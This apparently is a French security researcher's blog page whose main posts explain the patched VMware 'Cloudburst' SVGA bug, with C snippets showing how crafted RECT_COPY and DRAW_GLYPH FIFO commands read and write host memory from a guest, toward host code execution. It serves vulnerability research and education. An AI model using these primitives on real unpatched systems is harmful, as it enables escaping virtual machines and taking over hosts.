Mysterie's blog

Aller au contenu | Aller au menu | Aller à la recherche

dimanche, juin 6 2010

Return Oriented Programming

Ce week-end se tenait à Maubeuge les rssil (Rencontres des Solutions de Sécurité et d'Informatique Libre).
Je vous encourage à y aller l'an prochain. Il y avait une très bonne ambiance, des conf intéressantes et j'ai pu y rencontrer pas mal de monde. Je tiens à remercier tout particulièrement les organisateurs de l'évènement pour leur accueil et leur organisation.

Pour ceux qui veulent récupérer mes slides ou tout simplement ceux qui n'ont pas pu assister à la conférence:
rop.pdf
rop.odp
rop.ppt

Et pour ceux qui sont intéressés par le sujet je vous conseil aussi la lecture de ce papier réalisé par Dino dai zovi il y a un mois.

Pour les autres conférences, les slides devraient être eux aussi en ligne d'ici peu. Ainsi que les épreuves du challenge ethical hacking (en tout cas les résolus).

lundi, septembre 14 2009

VMWare Cloudburst suite

Un bref rappel:
les failles que je décris se situent dans le driver SVGA de VMWare (patché depuis plusieurs mois). Nous pouvons interagir avec ce driver en écrivant des commandes dans la mémoire fifo. (Si vous n'avez pas suivi allez voir le post précédent).

En fonction du fichier de configuration de votre VM et de la version de VMWare vous aurez accès ou non à certaine commande. Je ne traiterai pas toutes les commandes, pour jouer avec les requêtes 3D il vous faut ajouter à votre fichier de configuration: mks.enable3d = "TRUE"
Les requêtes 3D ne sont pas documenté, et la mémoire fifo est utilisée comme couche de transport pour l'architecture SVGA3D utiliser par D3D. Je ne m'y suis pas frotté. On fera juste le tour des commandes RECT_COPY et DRAW_GLYPH, qui appartiennent aux requêtes 2D.

I] Lecture mémoire relative.

Pour pouvoir lire la mémoire de l'host on peut utiliser la commande RECT_COPY:

#define SVGA_CMD_RECT_COPY  0x3
/* FIFO layout: Source X, Source Y, Dest X, Dest Y, Width, Height */

vmwareWriteWordToFIFO((PDWORD)VgaFifo, SVGA_CMD_RECT_COPY); // SURF_COPY
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x80000000-offset); // Source X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Source Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, offset); // Width
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x1); // Height

Source X prend comme paramètre des coordonnées en PIXEL. C'est à dire que si SourceX vaut 1 la copie s'effectuera avec un décalage de 4 byte par rapport au début du frame buffer. Avec 0x80000000-offset on obtient donc un offset négatif. Pour que la commande RECT_COPY soit exécutée il faut que deux conditions soit remplies; SourceX>0 et SourceX+Width<0 sachant que SourceX+Width est stocké dans une variable non signée, dans notre code on aura SourceX+Width = 0x80000000-offset+offset = -2147483647. Pour dumper la mémoire après le framme buffer il suffit de jouer avec les deux paramètres vu précédemment.

vmwareWriteWordToFIFO((PDWORD)VgaFifo, SVGA_CMD_RECT_COPY); // SURF_COPY
vmwareWriteWordToFIFO((PDWORD)VgaFifo, offset); // Source X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Source Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x80000000-offset); // Width
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x1); // Height

II] Lecture mémoire absolu.

Le problème de RECT_COPY c'est que la lecture mémoire est relative. Si l'on essaye de copier une page mémoire de vmware-vmx qui n'existe pas, on crash le programme. Donc pour fiabiliser l'exploitation du bug il faut trouver ou se situe le frame buffer du coté host. Sous un host vista la page précédant le frame buffer contient l'adresse que nous recherchons. Sous xp c'est plus ardu, on peut retrouver l'adresse avec une commande 3D ou se risquer à utiliser la même méthode que pour un host vista. Mais il y a des risques de violation d'accès mémoire. Chez moi la plupart de ces techniques fonctionnent (VMWare player Build: 118166) mais sur d'autre configuration cela est impossible.

// Exemple pour vista
vmwareWriteWordToFIFO((PDWORD)VgaFifo, SVGA_CMD_RECT_COPY); // SURF_COPY
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x80000000 - 0x4); // Source X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Source Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x4); // Width
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x1); // Height
FBStartOnHost = VMWARE.FrameBuffer[2];

if(dest < FBStartOnHost) { // dest représente une adresse précise
  offset = (FBStartOnHost-dest)/4;
} else {
  offset = (dest-FBStartOnHost)/4;
}

Maintenant que l'on a retrouvé l'adresse du frame buffer on peut lire précisément la mémoire de l'host. On peut donc par exemple récupérer le PeHeader de vmware-vmx (se situant toujours en 0x400000). Pour avoir la version de VMWare et une vue précise des sections principales de l'exécutable code/data etc.

III] Écriture en mémoire.

On peu utiliser la commande RECT_COPY pour écraser la mémoire de l'host. Mais cette commande est mieux filtrée au niveau de la destination car dépendante des valeurs de SVGA_REG_WIDTH et SVGA_REG_HEIGHT. Donc on ne peut écraser seulement quelques Ko précédant le frame buffer. Sur ma version de VMWare la zone mémoire modifiable correspond au heap. J'ai pensé récupérer le TEB se situant en 0x7FFDF000, pour ensuite exploiter un heap overflow. Mais à cette adresse j'ai des valeurs ne correspondant pas à une structure de type TEB. Et un heap overflow n'est pas forcement une exploitation fiable surtout quand il est dépendant de deux valeurs qu'on ne peut ajuster comme on le désire.

J'ai dû me tourner vers la commande DRAW_GLYPH. Pour vérifier si elle est disponible:

WRITE_PORT_ULONG((PULONG)(IOports+SVGA_INDEX_PORT), SVGA_REG_CAPABILITIES);
if(READ_PORT_ULONG((PULONG)(IOports+SVGA_VALUE_PORT)) & SVGA_CAP_GLYPH) DbgPrint("Glyph enable\n");

Si ce n'est pas le cas il faut rajouter svga.yesGlyphs="TRUE" dans votre fichier de configuration. Cette commande n'est absolument pas filtrée au niveau de la destination en X/Y, permettant ainsi d'écrire en mémoire où l'on veut. La taille minimal d'un glyph est de 32pixel et il vas écrire un seul pixel à l'offset 0x6 par rapport à Destination X. Il faut donc faire attention au violation d'accès quand on écrit au bord d'une plage mémoire. Un petit exemple:

// On va écrire 0xD34DB33F dans le premier DWORD du frame buffer.
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, SVGA_CMD_DRAW_GLYPH);
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0x3FFFFFF9); // Dest X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0x0); // Dest Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0x20); // Width
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0x1); // Height
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0xD34DB33F); // Valeur

On peut donc lire/écrire en mémoire de façon fiable. En résumé le plus dur est de retrouver l'adresse du frame buffer sans cracher vmware-vmx. Il est ensuite possible d'outrepasser des protections tel que l'ASLR ou le DEP. Crée un canal de communication dans une zone mémoire partagée entre le guest et l'host (le framme buffer par exemple) et exécuter du code. VMWare tournant en Administrateur/root et possédant le token SeLoadDriverPrivilege sous windows, au niveau du code exécute on peut tout faire :)

mercredi, août 5 2009

VMWare Cloudburst

Le paper sur la faille VMWare découverte par Kostya est enfin sortie. Le principe est de s'évader de la machine qui est virtualisé pour exécuter du code sur la machine hôte. La faille en elle même est situé dans le filtrage des requêtes vidéos, petite explication:

VMWare virtualise une carte vidéo appelée "VMWare SVGA II", on peut la retrouver par le biais du bus PCI. Pour plus d'explication sur le bus PCI je vous conseil cet article. La carte vidéo a pour Vendor ID: 0x15ad et Product ID: 0x0405 et est composée de 3 plages mémoire:

  • La première représente la plage de port I/O (Port mapped I/O). Pour simplifier se sont grâce à elles qu'on pourra communiquer avec la carte graph' virtuelle à l'aide d'instruction assembleur IN/OUT.
  • La deuxième, est généralement la portion de mémoire la plus grande représentant le frame buffer, C'est à dire l'espace mémoire en ram réservé à la mémoire vidéo. (Chaque pixel ne correspond pas forcement à 4 bytes dans cette mémoire, mais c'est généralement le pitch par défaut sur la plupart des box).
  • La troisième est dénommé SVGA FIFO. C'est celle qui nous intéresse. Cette espace mémoire est utilisé pour stoker des commandes vidéos. Elles sont filtrées du coté de l'host (vmware-vmx.exe).

Les quatre premier DWORD de la mémoire SVGA FIFO représente des offset précis:
SVGA_FIFO_MIN
SVGA_FIFO_MAX
SVGA_FIFO_NEXT_CMD
SVGA_FIFO_STOP

Min et max représente la plage mémoire fifo réellement utilisé, ces valeurs ne changent pas quand l'os est chargé. Next_cmd représente la prochaine commande vidéo à exécuter. Stop représente le point de synchronisation, il se situe à un offset supérieur à next_cmd. Quand next_cmd est égal à stop ou dépasse max, alors la carte se resynchronise et attend ensuite de nouvelles requêtes.

                  <- début de la ram dédier a la mémoire FIFO 
                  
                  <- SVGA_FIFO_MIN 
                 
                 
                  <- SVGA_FIFO_NEXT_CMD
                  <- SVGA_FIFO_STOP
                 
                  <- SVGA_FIFO_MAX 
                 


Dans cette mémoire se trouve les commandes, elles suivent un schéma bien précis. On va prendre l'exemple de la commande RECT_COPY qui prend 6 paramètres (Source X, Source Y, Dest X, Dest Y, Width, Height) et deux paramètres supplémentaires appelés capacities et dont je n'ai pas trouvé l'utilité. Ce qui donne:

+0x0    3 // RECT_COPY (id)
+0x4    0 // Source X
+0x8    0 // Source Y
+0xc   10 // Dest X
+0x10  10 // Dest Y
+0x14  50 // Width en px
+0x18  50 // Height en px
+0x1c  ?? // cap1
+0x20  ?? // cap2


J'essaye donc d'écrire dans la mémoire fifo pour faire pointer SVGA_FIFO_NEXT_CMD sur une commande crafté. Mais vu la rapidité des traitements de la mémoire vidéo il va falloir passer par des commandes IN/OUT pour bloquer les traitements vidéos. Créer notre commande puis relancer le traitement. Pour cela on va communiquer avec la carte graph virtualisée, on a besoin de deux données, l'index port et le value port. Pour le SVGA de type 2 les ports se trouvent comme ceci:

Dans svga_reg.h on as les define:
#define SVGA_INDEX_PORT		0x0
#define SVGA_VALUE_PORT		0x1
#define SVGA_BIOS_PORT		0x2
#define SVGA_NUM_PORTS		0x3
#define SVGA_IRQSTATUS_PORT	0x8


IndexPort = (IOportsBase & PCI_ADDRESS_IO_MASK ) + SVGA_INDEX_PORT;
ValuePort = (IOportsBase & PCI_ADDRESS_IO_MASK ) + SVGA_VALUE_PORT;

On peut donc ensuite envoyer nos commandes... Sachant qu'elles ne sont pas bien filtrées: "For example if Dest X + Width falls out the screen, the operation is said to “clip” and is aborted. Yet the comparisons done on the DWORD and the results of the additions are signed. This opens the door to some malicious usage of the command."

Pendant 2 jours j'ai bloqué là dessus. Puis j'ai décidé de contacter Kostya pour plus de détail (et je le remercie encore pour son aide). Pour récupérer la mémoire de l'host il suffit que la commande RECT_COPY ait comme paramètre Source X > 0 et Source X + width < 0. Il faut donc jouer avec la valeur 0x80000000 pour que la comparaison signée foire. Je ferai un article sur l'exploitation du beug. En tout cas le travail de Kostya est vraiment impressionnant surtout du coté de la communication entre l'host et le guest (MOSDEF over Direct3D) pour la fiabilisation de l'exploit.

Lire la suite...

Le code:
Du driver xfree86 de VMWare
De mon driver (sans exploit pour le moment)

Quelques liens:
Documentation sur le driver XF86 & SVGAII
Ring -3 Rootkits & Intel BIOS attack
zf05 Mass 0wn4g3

jeudi, mars 19 2009

"We're all mad here. I'm mad. You're mad." said the Cheshire Cat

Je me suis enfin décidé à virer mon vieux blog, codé par mes soins il y a maintenant plusieurs années. Et cela pour en ouvrir un nouveau, exposant mes pérégrinations dans le vaste monde de l'informatique.

En espérant que cela vous plaise.